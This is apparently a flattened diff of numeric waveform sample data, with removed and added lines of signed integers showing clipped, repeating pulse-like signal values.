+-128 +-128 +-128 +-109 +-101 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +88 +80 +75 +71 +68 +65 +63 60 57 +54 +50 +45 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +94 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +97 +87 +80 +75 +70 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-102 +-112 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +65 +63 +60 +58 +54 +50 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +87 +80 +75 +71 +68 +66 +64 +60 +58 +54 +50 +46 +42 +38 +34 +29 +26 +22 +18 +15 +13 +11 +9 +7 +5 +3 +2 +1 +-1 +-2 +-3 +-5 +-6 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-10 +-12 +-12 +-12 +-13 +-103 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-102 +-111 +-105 +-99 +-78 +-89 +-68 +-80 +-76 +-72 +-68 +-64 +-61 +-58 +-56 +-53 +-50 +-48 +-46 +-44 -42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --88 --98 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -93 +-40 +-39 +-37 +-36 +-34 +-33 +-32 +-31 +-30 +-29 +-28 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +109 +100 +94 +89 +85 +80 +78 +74 +70 +66 +62 +57 +53 +48 +43 +38 +34 +29 +26 +22 +19 +16 +14 +11 +9 +7 +5 +3 +1 +-1 +-1 +-1 +-2 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-12 +-12 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-103 +-112 +-104 +-99 +-78 +-89 +-68 +-79 +-75 +-71 +-67 +-64 +-61 +-58 +-55 +-52 +-50 +-48 +-45 +-44 +-42 +-41 +-39 +-37 +-36 +-34 +-33 +-32 +-30 +-30 +-29 +-28 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +110 +99 +94 +89 +85 +80 +78 +74 +70 +65 +62 +56 +52 +-49 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-110 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +70 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +90 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 88 +80 +76 +71 +68 +65 +63 +60 +57 +53 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +87 +80 +75 +70 +67 +64 +63 +60 +57 +54 +50 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +87 +80 +76 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +38 +34 +30 +26 +23 +19 +16 +13 +11 +8 +6 +4 +3 +2 +1 +-1 +-2 +-2 +-4 +-4 +-6 +-6 +-7 +-8 +-9 +-10 +-11 +-11 +-12 +-12 +-13 +-14 +-103 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-103 84 -82 -79 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +110 +95 +85 77 +73 +69 +66 +64 +62 +59 +56 +52 +50 +45 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-101 +-110 +-105 +-99 +-93 +-72 +-84 +-80 +-76 +-71 +-68 +-65 +-62 +-58 +-55 +-53 +-51 +-48 +-46 +-44 +-42 +-40 +-38 +-37 +-36 +-34 +-33 +-32 +-31 +-29 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +110 +100 +94 +90 +86 +82 +78 +74 +71 +66 +62 +57 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-110 +95 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +66 +63 +61 +58 +54 +50 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +96 +86 +80 +75 +70 +68 +65 +64 +60 +58 +54 +51 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-102 +-111 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +87 +80 +75 +71 +68 +66 +63 +60 +57 +53 +49 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +87 +80 +75 +71 +69 +66 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +98 +87 +80 +75 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +38 +34 +30 +26 +22 +19 +16 +13 +10 +9 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-11 +-12 +-12 +-12 +-13 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-103 +87 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +110 +95 +85 +78 +74 +69 +67 +64 +62 +59 +56 +53 +50 +46 +42 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +74 +70 +68 +66 +64 +61 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-110 +-104 +-98 +-94 +-72 +-83 +-79 +-75 +-71 +-67 +-64 +-61 +-58 +-55 +-52 +-50 +-47 +-45 +-43 +-41 +-40 +-38 +-37 +-35 +-34 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +109 +100 +94 +90 +86 +81 +78 +74 +71 +66 +62 +56 +52 +-49 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-110 +94 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +87 +80 +75 +70 +68 +65 +63 +60 +57 +53 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +79 74 71 68 65 +63 60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -100 -93 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -102 -94 -89 -85 -82 -79 -77 -74 -71 -67 -64 -60 -56 -52 -48 -44 -40 -37 -34 -30 -28 -25 -23 -20 -19 -17 -16 -14 -12 -12 -10 -10 -9 -8 -7 -6 -6 -5 -4 -4 -3 -2 -2 -1 -1 --89 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --97 --91 --85 --64 --74 --54 --66 --61 --58 --54 --51 --48 --44 --42 --39 --36 --34 --32 --29 --28 --25 --24 --23 --21 --20 --18 --18 --16 --15 --14 --13 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -123 -113 -108 -103 -99 -94 +58 +54 +51 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 87 -84 80 -76 +75 70 -66 --35 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --96 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -90 -85 -82 -79 -77 -74 -71 -67 -64 +68 +65 +63 60 57 -52 -48 -44 -40 +54 +50 +46 +42 37 33 30 -28 -25 -23 -21 -19 -17 -16 -14 +26 +22 +18 +15 13 -12 -10 -10 -9 +11 8 -7 6 -6 -5 -4 4 3 +1 +0 +-1 +-2 +-3 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-11 +-11 +-12 +-13 +-13 +-13 +-103 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +-105 +-100 +-78 +-89 +-68 +-80 +-76 +-72 +-68 +-64 +-61 +-58 +-55 +-52 +-50 +-48 +-45 +-44 +-41 +-40 +-38 +-37 +-35 +-34 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +109 +100 +95 +89 +85 +81 +78 +74 +70 +65 +62 +56 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-100 +-110 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +76 +72 +69 +66 +64 +61 +58 +54 +50 +46 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +87 +80 +75 +71 +68 +64 +63 +60 +56 +53 +49 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +66 +64 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +111 +97 +88 +80 +75 +71 +68 +65 +63 +60 +57 +53 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-102 +-112 +94 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +87 +79 +75 +71 +68 +66 +64 +61 +58 +54 +51 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +86 +80 +75 +71 +68 +64 +63 +60 +56 +53 +50 +46 +42 +38 +34 +30 +27 +23 +20 +16 +14 +11 +9 +7 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-11 +-11 +-11 +-12 +-12 +-13 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +-105 +-99 +-77 +-88 +-68 +-79 +-75 +-71 +-68 +-65 +-61 +-58 +-56 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-37 +-36 +-34 +-33 +-32 +-31 +-30 +-28 +-28 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +109 +100 +95 +90 +86 +81 +78 +74 +70 +65 +61 +56 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-100 +-110 +94 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +98 +88 +80 +75 +71 +68 +65 +63 +60 +58 +54 +51 +46 +42 +38 +34 +30 +26 +23 +19 +16 +14 +10 +8 +6 +5 3 2 1 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-9 +-10 +-11 +-11 +-12 +-12 +-13 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-103 +-111 +-105 +-99 +-78 +-89 +-68 +-80 +-76 +-72 +-68 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-46 +-44 +-42 +-40 +-38 +-37 +-35 +-34 +-33 +-32 +-30 +-30 +-30 +-29 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +110 +100 +95 +89 +86 +81 +78 +74 +70 +66 +62 +56 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-100 +-109 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +88 +80 +75 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-102 +-112 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +87 +79 +75 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +76 +71 +68 +65 +64 +61 +58 +54 +50 +45 +42 +37 +33 +29 +26 +22 +19 +16 +14 +11 +9 +7 +5 +4 +2 1 +0 +-1 +-2 +-4 +-4 +-5 +-7 +-8 +-8 +-9 +-9 +-10 +-10 +-11 +-12 +-13 +-13 +-103 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +-105 +-99 +-78 -89 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --89 --83 --91 --85 +-68 +-80 +-76 +-72 +-68 -64 +-61 +-58 +-55 +-52 +-50 +-48 +-46 +-44 +-42 +-41 +-39 +-37 +-36 +-34 +-33 +-32 +-31 +-30 +-29 +-28 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +111 +100 +94 +89 +86 +82 +78 +74 +70 +66 +62 +57 +52 +47 +42 +37 +33 +28 +25 +21 +18 +15 +13 +11 +9 +7 +5 +3 +2 +0 +-1 +-2 +-4 +-5 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-11 +-12 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +-105 +-99 +-78 +-90 +-68 +-80 +-76 +-72 +-68 +-64 +-61 +-58 +-55 +-52 +-50 +-48 +-46 +-44 +-42 +-40 +-39 +-37 +-35 +-34 +-32 +-32 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +109 +100 +94 +89 +86 +82 +78 +74 +70 +66 +62 +56 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-110 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +66 +64 +61 +58 +54 +51 +47 +43 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +79 +75 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +79 +75 +71 +68 +65 +63 +60 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +70 +68 +64 +62 +60 +57 +54 +50 +46 +43 +38 +34 +29 +26 +23 +19 +16 +13 +11 +8 +5 +4 +3 +1 +1 +0 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-11 +-11 +-12 +-12 +-13 +-13 +-103 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-103 +-110 +-105 +-99 +-78 +-88 +-67 +-79 -75 --54 +-71 +-68 +-64 +-61 +-59 +-56 +-53 +-51 +-48 +-46 +-44 +-42 +-40 +-38 +-37 +-35 +-34 +-32 +-31 +-30 +-30 +-28 +-28 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +109 +100 +94 +88 +85 +80 +77 +73 +70 +65 +61 +56 +51 +46 +42 +38 +33 +29 +26 +21 +17 +14 +12 +10 +8 +7 +5 +3 +2 +1 +0 +-1 +-2 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-11 +-11 +-101 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +87 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +110 +96 +86 +78 +73 +69 +66 +64 +62 +58 +56 +53 +50 +45 +41 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +-104 +-98 +-94 +-73 +-85 +-80 +-76 +-72 +-68 +-65 +-62 +-58 +-56 +-53 +-51 +-48 +-46 +-44 +-42 +-41 +-39 +-37 +-36 +-34 +-33 +-31 +-30 +-30 +-29 +-27 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +110 +101 +95 +89 +85 +81 +78 +74 +70 +66 +62 +57 +52 +-48 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-110 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +88 +80 +75 +71 +68 +65 +63 +60 +57 +54 +50 +47 +43 +-57 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +87 +80 +76 +71 +68 +66 +64 +61 +58 +54 +51 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-112 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +96 +86 +79 +75 +72 +68 +65 +63 +60 +57 +54 +48 +43 +40 +-58 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +79 +75 +71 +68 +65 +63 +60 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +65 +63 +60 +56 +53 +50 +46 +43 +-56 +-128 +-128 +-128 +-128 